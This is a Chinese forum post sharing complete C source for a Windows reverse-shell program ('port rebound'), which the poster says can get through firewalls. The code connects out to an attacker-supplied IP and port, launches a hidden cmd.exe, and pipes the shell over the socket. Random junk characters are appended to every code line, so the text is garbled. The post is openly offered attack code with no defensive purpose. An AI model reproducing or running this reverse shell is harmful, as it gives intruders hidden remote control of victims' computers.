社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5495阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F.v{-8GV  
UOmY-\ &c  
/* ============================== hDq`Z$_+KX  
Rebound port in Windows NT 0nD/;\OU  
By wind,2006/7 tlt*fH$ .  
===============================*/ o7LuKRl   
#include o\)F}j&b#=  
#include 9 5RBO4w%w  
f0aKlhEC  
#pragma comment(lib,"wsock32.lib") gOOPe5+ J  
Vl!6W@g  
void OutputShell(); .@Dxp]/B}  
SOCKET sClient; 0k(a VkZ I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 19KQlMO.G  
9]wN Bd  
void main(int argc,char **argv) m7>JJX3=<  
{ [\b 0Lem  
WSADATA stWsaData; 8&Y^""#e)  
int nRet; M+9gL3W  
SOCKADDR_IN stSaiClient,stSaiServer; L`EBfz\n  
)Iq<+IJ  
if(argc != 3) :Qf '2.h)  
{ f.`*Qg L  
printf("Useage:\n\rRebound DestIP DestPort\n"); 78%~N`x7  
return; <nK?LcP  
} mcX/GO}  
nL.<[]r  
WSAStartup(MAKEWORD(2,2),&stWsaData); J{&H+rd  
r_;N t  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =6|&Jt  
g^ i&gNDx  
stSaiClient.sin_family = AF_INET; g!z&~Z:  
stSaiClient.sin_port = htons(0); 1q1jZqno  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \A6B,|@  
:'&brp3ii=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |WdPE@P  
{ 3J438M.ka  
printf("Bind Socket Failed!\n"); yD6[\'%  
return; gy9U2Wgf|  
} Wh 2tNyS  
v+=BCyT  
stSaiServer.sin_family = AF_INET; 3nnJ8zQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #3 pb(fbw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B|AV$N*  
:+|Z@KB  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X<; f  
{ Jl9k``r*  
printf("Connect Error!"); fku<,SV$O4  
return; 4^OY C  
} %lGfAYEM=  
OutputShell(); p >t#@Eu|  
} JNUt$h  
&7wd?)s  
void OutputShell() @\P;W(m.i  
{ 6ez<g Uf  
char szBuff[1024]; M$8^91%4B  
SECURITY_ATTRIBUTES stSecurityAttributes; oW Nh@C  
OSVERSIONINFO stOsversionInfo; tWa) _y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8rS:5:Hi  
STARTUPINFO stStartupInfo; X~,aNRy  
char *szShell; _v=SH$O+  
PROCESS_INFORMATION stProcessInformation; Q=20IQp  
unsigned long lBytesRead; pKrN:ExB"\  
58J}{Req  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zb<6 Ov  
q,eVjtF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BV upDGh3  
stSecurityAttributes.lpSecurityDescriptor = 0;  *m,k(/>  
stSecurityAttributes.bInheritHandle = TRUE; Nf"r4%M<6  
<=0 u2~E  
`eCo~(F y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8-%TC\:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sC b=5uI  
wInh~p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %vhnl'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z//+Gw<'  
stStartupInfo.wShowWindow = SW_HIDE; sAD}#Zw$  
stStartupInfo.hStdInput = hReadPipe; |CZ@te)>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r_6ZO&  
Mz~D#6=  
GetVersionEx(&stOsversionInfo); 6U,O*WJ%e  
dl@%`E48w  
switch(stOsversionInfo.dwPlatformId) ouFYvtFg  
{ ]cMqahaY  
case 1: f-n1I^|  
szShell = "command.com"; * 8_wYYH  
break; bNNr]h8y-  
default: fs%.}^kn  
szShell = "cmd.exe"; doy`C)xI  
break; g($DdKc|g  
} }$Tl ?BRpU  
W_8wed:b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {|:;]T"y  
jesGV<`?l  
send(sClient,szMsg,77,0); Rt!FPoN,y  
while(1) 5BKt1%Pg  
{ iJ3e1w$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s<eb;Z2D  
if(lBytesRead) 91  g2A|  
{ 8Sh54H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YccH+[X;  
send(sClient,szBuff,lBytesRead,0); H'HA+q  
} q $tUH)0  
else 9"A`sGZ  
{ =~H<Z LE+  
lBytesRead=recv(sClient,szBuff,1024,0); kep/+J-u  
if(lBytesRead<=0) break; $m1z-i;/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v`zJb00DT  
} MET' (m  
} ^ xh;  
{~s DYRX  
return; ^o1*a&~J@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八